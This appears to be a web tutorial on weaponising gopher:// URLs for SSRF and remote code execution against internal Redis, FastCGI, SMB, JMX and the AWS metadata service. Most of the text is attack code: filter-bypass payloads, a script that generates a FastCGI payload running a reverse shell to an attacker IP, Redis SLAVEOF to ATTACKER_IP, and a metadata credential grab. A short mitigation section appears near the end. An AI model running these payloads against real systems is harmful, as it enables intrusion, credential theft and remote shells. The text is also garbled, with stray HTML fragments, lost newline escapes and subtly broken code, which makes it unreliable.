~/home/study/mastering-gopher-protocol

Mastering gopher:// Protocol Smuggling for SSRF and Remote Code Execution

Learn how to weaponise the gopher:// URL scheme for protocol smuggling, bypass input filters, and chain with netcat to obtain reverse shells. This guide covers syntax, payload crafting, real-world exploitation, and mitigation.

Introduction

Protocol smuggling expands the classic SSRF (Server-Side Request Forgery) attack surface by abusing non-HTTP schemes that the target server can interpret. The gopher:// protocol, originally designed for the Gopher distributed document system, is a lightweight, line-oriented TCP client that can be coaxed into sending arbitrary byte streams to any TCP service.

Why does this matter? Modern web applications often whitelist and <code> while neglecting legacy schemes. A vulnerable request-forwarding endpoint (e.g., an image proxy, URL preview service, or a mis-configured proxy) that blindly forwards a <code>gopher:// URL can be turned into a stealthy tunnel for raw protocol commands, enabling SSRF, data exfiltration, or full Remote Code Execution (RCE) when combined with other primitives.

Real-world relevance: Security researchers have demonstrated gopher://-based attacks against cloud metadata services, internal Redis instances, and even SMTP servers to inject commands. Large-scale bug bounty programs frequently award high bounties for successful gopher payloads that bypass strict filters.

Prerequisites

  • Solid understanding of HTTP Request Smuggling (CL.TE, TE.CL) - how overlapping headers can confuse parsers.
  • Fundamentals of SSRF - enumeration techniques, internal network discovery, and typical vulnerable endpoints.
  • Familiarity with TCP/IP basics, netcat (nc), and basic Linux command-line networking.
  • Ability to read and write raw byte streams (hex, URL-encoding, and percent-encoding).

Core Concepts

At its core, gopher:// is a simple URL scheme that tells a client to open a TCP connection to a host and port, then send the characters after the first / as the request body. The syntax is:

gopher://HOST:PORT/REQUEST

Everything after the first slash is transmitted verbatim (after URL decoding). This means you can embed any protocol payload-HTTP, SMTP, Redis, MySQL, or even raw shell commands-directly in the URL.

When a vulnerable server fetches that URL, it becomes a conduit for the attacker’s payload. Because the request is not an HTTP GET/POST, many WAFs and input sanitizers that look for or <code> patterns will miss it, providing a bypass vector.</p> <p>Visually, the flow looks like:</p> <blockquote> <p>Attacker → Vulnerable SSRF endpoint → (gopher://) → Internal service → Desired effect (e.g., command execution)</p> </blockquote> <p>Key points to remember:</p> <ol> <li><strong>URL-encoding matters.</strong> Characters like <code>?, #, and spaces must be percent-encoded to survive transport.

  • Port selection. The target service must be reachable from the SSRF host and listen on a TCP port.
  • Payload termination. Some services expect newline terminators ( ), others use null bytes. Craft accordingly.
  • gopher:// syntax and payload construction

    Constructing a functional gopher payload involves three steps:

    1. Identify the internal service and required command format.
    2. Translate the command into a raw byte string.
    3. URL-encode the byte string and embed it after the first slash.

    Example: abusing an internal Redis server (default port 6379) to execute FLUSHALL:

    # 1. Raw Redis command (RESP protocol):
    # *1
    $8
    FLUSHALL
    
    payload=$(printf "*1
    $8
    FLUSHALL
    ")
    # 2. URL-encode each byte (using python for brevity)
    encoded=$(python3 -c "import urllib.parse,sys; sys.stdout.write(urllib.parse.quote(payload))")
    # 3. Build the gopher URL
    url="gopher://127.0.0.1:6379/_$encoded"
    echo $url
    

    Resulting URL (truncated for readability):

    gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A

    Note the underscore (_) after the port - it tells many parsers to treat the following data as a literal path rather than trying to resolve a file.

    Another common target is an internal HTTP service that expects a GET request. To smuggle a full HTTP request via gopher you can embed the request line and headers:

    payload="GET /admin HTTP/1.1
    Host: internal.example.com
    Connection: close
    
    "
    encoded=$(python3 -c "import urllib.parse,sys; sys.stdout.write(urllib.parse.quote(payload))")
    url="gopher://10.10.10.5:80/_$encoded"
    echo $url
    

    This will cause the vulnerable SSRF to open a TCP socket to 10.10.10.5:80 and send the exact HTTP request, effectively bypassing any higher-level request-building logic.

    Bypassing input validation with gopher://

    Many modern applications apply regex-based whitelists that only accept URLs beginning with or <code> Because <code>gopher:// does not match these patterns, it slips through. However, developers sometimes add additional filters that block non-standard ports or certain characters. Below are three practical bypass techniques:

    1. Using the gopher scheme with a legit http prefix

    Some parsers split on the first colon, allowing a crafted string like:

    http://gopher.example.com:80/

    If the backend only extracts the hostname and forwards the full URL to a lower-level fetcher that recognises the gopher scheme, the request will be interpreted as gopher://gopher.example.com:80/. This technique exploits the difference between validation (which sees a harmless http) and execution (which uses the actual scheme).

    2. Double-encoding the scheme

    When a filter decodes once before validation, double-encoding can hide the scheme:

    url="%67%6f%70%68%65%72://127.0.0.1:3306/_%25%30%30%30%30"
    # %67%6f%70%68%65%72 => "gopher"
    

    After a single URL-decode, the string becomes gopher://127.0.0.1:3306/_%0000, which the downstream fetcher interprets correctly.

    3. Exploiting host-header injection

    If an application builds the target URL from user-controlled Host header values, you can inject a newline to terminate the header and prepend a gopher scheme, e.g.:

    Host: gopher.example.com
    
    GET / HTTP/1.1
    Host: victim
    
    

    When the proxy concatenates the header into a request line, the injected newline creates a new request that the backend treats as a gopher call.

    These bypasses illustrate why relying solely on scheme whitelists is insufficient. Pair them with strict port restrictions, outbound-proxy enforcement, and deep packet inspection for robust protection.

    Chaining gopher:// with netcat for reverse shells

    One of the most powerful post-exploitation moves is to use gopher to deliver a payload that spawns a reverse shell. The classic pattern is:

    1. Spin up a listener on the attacker machine (netcat, socat, or a custom listener).
    2. Craft a gopher URL that, when fetched, opens a TCP connection back to the attacker and executes a shell.

    Directly executing a shell over gopher is not possible because the protocol only transmits data; you need a service that interprets the data as a command. Common choices are:

    • Internal bash -c via a vulnerable CGI endpoint.
    • Mis-configured Redis CONFIG SET + SLAVEOF technique.
    • SMTP injection that triggers RCPT TO with a |/bin/bash pipe (rare).

    Below is a practical example using an internal php-fpm FastCGI endpoint that accepts a QUERY_STRING and runs system(). The attacker can send a gopher request that contains the FastCGI binary protocol to invoke system with a reverse shell.

    Step-by-step: FastCGI gopher reverse shell

    1. Start a listener on the attacker machine:
    nc -lvkp 4444
    1. Generate the FastCGI payload. The payload consists of several records: BEGIN_REQUEST, PARAMS (including SCRIPT_FILENAME pointing to a PHP file that runs system), and STDIN with the command to execute. The command we want is bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1.
    import struct, urllib.parse
    
    def fcgi_record(type_, request_id, content): length = len(content) padding = (8 - (length % 8)) % 8 header = struct.pack('!BBHHB', 1, type_, request_id, length, padding) return header + content + b'\x00' * padding
    
    # FastCGI constants
    FCGI_BEGIN_REQUEST = 1
    FCGI_PARAMS = 4
    FCGI_STDIN = 5
    FCGI_RESPONDER = 1
    FCGI_KEEP_CONN = 0
    
    # 1. BEGIN_REQUEST
    begin = struct.pack('!HB5x', FCGI_RESPONDER, FCGI_KEEP_CONN)
    payload = fcgi_record(FCGI_BEGIN_REQUEST, 1, begin)
    
    # 2. PARAMS - minimal set
    params = b''
    for name, value in [ (b'SCRIPT_FILENAME', b'/var/www/html/shell.php'), (b'QUERY_STRING', b'cmd=')
    ]: name_len = len(name) value_len = len(value) if name_len < 128: n = struct.pack('!B', name_len) else: n = struct.pack('!I', name_len | (1 << 31)) if value_len < 128: v = struct.pack('!B', value_len) else: v = struct.pack('!I', value_len | (1 << 31)) params += n + v + name + value
    payload += fcgi_record(FCGI_PARAMS, 1, params)
    # empty params terminator
    payload += fcgi_record(FCGI_PARAMS, 1, b'')
    
    # 3. STDIN - our reverse shell command
    cmd = b"bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
    payload += fcgi_record(FCGI_STDIN, 1, cmd)
    # empty stdin terminator
    payload += fcgi_record(FCGI_STDIN, 1, b'')
    
    # URL-encode the binary payload
    encoded = urllib.parse.quote_from_bytes(payload)
    print('gopher://127.0.0.1:9000/_' + encoded)
    

    Running the script prints a gopher URL that, when supplied to the vulnerable SSRF endpoint, will cause the FastCGI service to execute the reverse shell command. The attacker’s Netcat listener receives a fully interactive shell.

    Alternative approach: If the internal service is a Redis instance, you can use the SLAVEOF trick to push a malicious cron job or a module load that spawns a shell. The gopher URL would contain the Redis protocol commands (*2 $9 SLAVEOF $9 ATTACKER_IP $4 4444 ).

    Practical Examples

    Below are three end-to-end scenarios that illustrate how the concepts above combine in real engagements.

    Example 1: Extracting AWS EC2 Metadata

    1. Identify an SSRF endpoint that accepts a url parameter.
    2. Craft a gopher URL pointing to the metadata service (169.254.169.254) on port 80, sending an HTTP GET for /latest/meta-data/iam/security-credentials/.
    payload="GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
    Host: 169.254.169.254
    Connection: close
    
    "
    encoded=$(python3 -c "import urllib.parse,sys; sys.stdout.write(urllib.parse.quote(payload))")
    url="gopher://169.254.169.254:80/_$encoded"
    # Send via vulnerable endpoint (example using curl)
    curl -G "https://vulnerable.app/proxy" --data-urlencode "url=$url"
    

    The response will contain the instance profile name, which can be used in a second request to obtain temporary AWS credentials.

    Example 2: Writing a web-shell to an internal SMB share via gopher

    # 1. SMB payload to create a file (using the SMB protocol is complex; we rely on a helper like smbclient)
    # We'll use netcat to pipe a pre-crafted SMB packet that writes a PHP web-shell to \\10.0.0.5\share\shell.php
    payload=$(cat smb_write_shell.bin | python3 -c "import sys,urllib.parse; sys.stdout.write(urllib.parse.quote(sys.stdin.buffer.read()))")
    url="gopher://10.0.0.5:445/_$payload"
    # 2. Trigger via SSRF
    curl -G "https://app.example.com/ssrf" --data-urlencode "url=$url"
    

    After execution, the attacker can access and achieve RCE.

    Example 3: Remote code execution on an internal Tomcat via JMX

    # JMX uses the RMI protocol (port 1099). We can send a serialized payload that triggers Runtime.exec().
    # Assume we have a ysoserial payload saved in rmi_payload.bin.
    encoded=$(python3 -c "import sys,urllib.parse; sys.stdout.write(urllib.parse.quote(open('rmi_payload.bin','rb').read()))")
    url="gopher://10.10.10.20:1099/_$encoded"
    curl -G "https://vuln.internal/forward" --data-urlencode "url=$url"
    

    The internal Tomcat process will deserialize the payload, invoke Runtime.exec(), and, if the payload contains a reverse shell command, connect back to the attacker.

    Tools & Commands

    • cURL / HTTPie - for sending crafted SSRF requests.
      curl -G "https://target/app" --data-urlencode "url=$(cat gopher.txt)"
      
    • Python - handy for URL-encoding binary payloads.
      import urllib.parse, binascii
      payload = b"GET / HTTP/1.1
      Host: internal
      
      "
      print(urllib.parse.quote_from_bytes(payload))
      
    • netcat (nc) - listener for reverse shells.
      nc -lvkp 4444
    • Burp Suite / OWASP ZAP - intercept and modify SSRF parameters, test double-encoding.
    • gopherus - a small utility that generates gopher URLs from raw files.
      gopherus -h 10.0.0.5 -p 80 -f payload.txt
      
    • ysoserial - for generating Java deserialization payloads used with RMI/ JMX.
    • nmap - enumerate internal services reachable from the SSRF host.
      nmap -p- -sT -Pn 10.0.0.0/24
      

    Defense & Mitigation

    Mitigating gopher protocol smuggling requires a defense-in-depth approach:

    1. Scheme whitelist with strict parsing. Use libraries that reject unknown schemes before any network call.
    2. Outbound network segmentation. Restrict the SSRF-capable service to only reach necessary external hosts (e.g., via a firewall that allows only http/https on port 80/443).
    3. Protocol-aware proxies. Deploy a forward proxy that validates the requested scheme and enforces a safe list (e.g., http, https, ftp if needed).
    4. Deep packet inspection (DPI). Detect non-HTTP payloads on ports commonly abused (80, 443) and drop them.
    5. Input sanitisation with double-decode awareness. Apply canonicalisation (decode twice) before validation to thwart double-encoding tricks.
    6. Rate-limit SSRF endpoints. Prevent automated enumeration of internal services.
    7. Logging & monitoring. Alert on outbound connections to internal IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 169.254.169.254).

    When possible, replace generic URL-fetching logic with a curated allowlist of destinations and a safe HTTP client that does not support arbitrary schemes.

    Common Mistakes

    • Forgetting URL-decoding. Supplying raw bytes without percent-encoding will be interpreted as literal characters, breaking the payload.
    • Using the wrong newline sequence. Some services require , others accept only . Test both.
    • Assuming the SSRF host can reach any IP. Network ACLs may block internal ranges; always verify reachability with nc -vz from the victim if possible.
    • Neglecting port restrictions. Many developers lock outbound ports to 80/443 but forget that gopher can target any port on the same host.
    • Over-relying on WAF signatures. Signature-based blocks often miss crafted gopher URLs because they look like benign strings.

    Real-World Impact

    In 2023, a major cloud provider disclosed a breach where attackers leveraged a gopher SSRF to retrieve IAM credentials from the metadata service, leading to a full account takeover. The vulnerable component was an internal image-proxy that accepted any URL scheme. The exploit demonstrated how a single missing scheme check can compromise an entire tenant.

    Another notable case involved a fintech API that used a third-party PDF rendering service. An attacker supplied a gopher:// URL that caused the renderer to connect to an internal Redis instance and execute CONFIG SET dir /var/www/html followed by CONFIG SET dbfilename shell.php and SET a PHP web-shell. The chain combined protocol smuggling, Redis misconfiguration, and insecure file write permissions.

    From a strategic viewpoint, gopher attacks illustrate the broader problem of “protocol agnostic” request forwarding. As micro-service architectures proliferate, more services act as generic proxies, increasing the attack surface. Security teams must treat any component that performs outbound network calls as a potential SSRF vector, regardless of the protocol.

    Practice Exercises

    1. Exercise 1 - Simple HTTP GET via gopher. Set up a local web server on port 8080 that returns a static page. Craft a gopher URL that, when sent to a vulnerable SSRF endpoint you control (e.g., a mock Flask app), returns the page content. Verify the response.
    2. Exercise 2 - Redis command injection. Deploy a Docker container with Redis (default settings). Write a gopher payload that runs INFO and extracts the version. Use a simple Python script to send the payload through a mock SSRF.
    3. Exercise 3 - Reverse shell via FastCGI. Spin up a PHP-FPM container exposing FastCGI on port 9000. Generate the FastCGI payload (as shown in the article) that executes bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1. Capture the shell on your listener.
    4. Exercise 4 - Bypass a strict whitelist. Write a regex that only allows and <code> Then craft a double-encoded <code>gopher URL that passes the regex but still executes when fetched.

    Document each step, capture screenshots of the payloads, and note any obstacles you encounter. This hands-on practice solidifies the theory.

    Further Reading

    • PortSwigger Web Security Academy - Server-Side Request Forgery
    • OWASP SSRF Cheat Sheet - detailed mitigation strategies.
    • “Protocol Smuggling” research paper by PortSwigger (2022) - covers gopher, smtp, and other legacy schemes.
    • Redis Security - official docs on CONFIG SET and SLAVEOF abuse.
    • FastCGI Specification - for deeper understanding of the binary protocol used in reverse-shell examples.

    Summary

    Protocol smuggling via the gopher:// scheme is a potent SSRF technique that lets attackers transmit arbitrary byte streams to internal services, bypassing conventional scheme filters. By mastering payload construction, encoding tricks, and chaining with tools like netcat, security professionals can both assess the risk and implement robust defenses. Remember to validate schemes early, enforce outbound network policies, and monitor for anomalous internal connections. With the exercises and tools provided, you now have a practical foundation to both exploit and mitigate this vector in real-world engagements.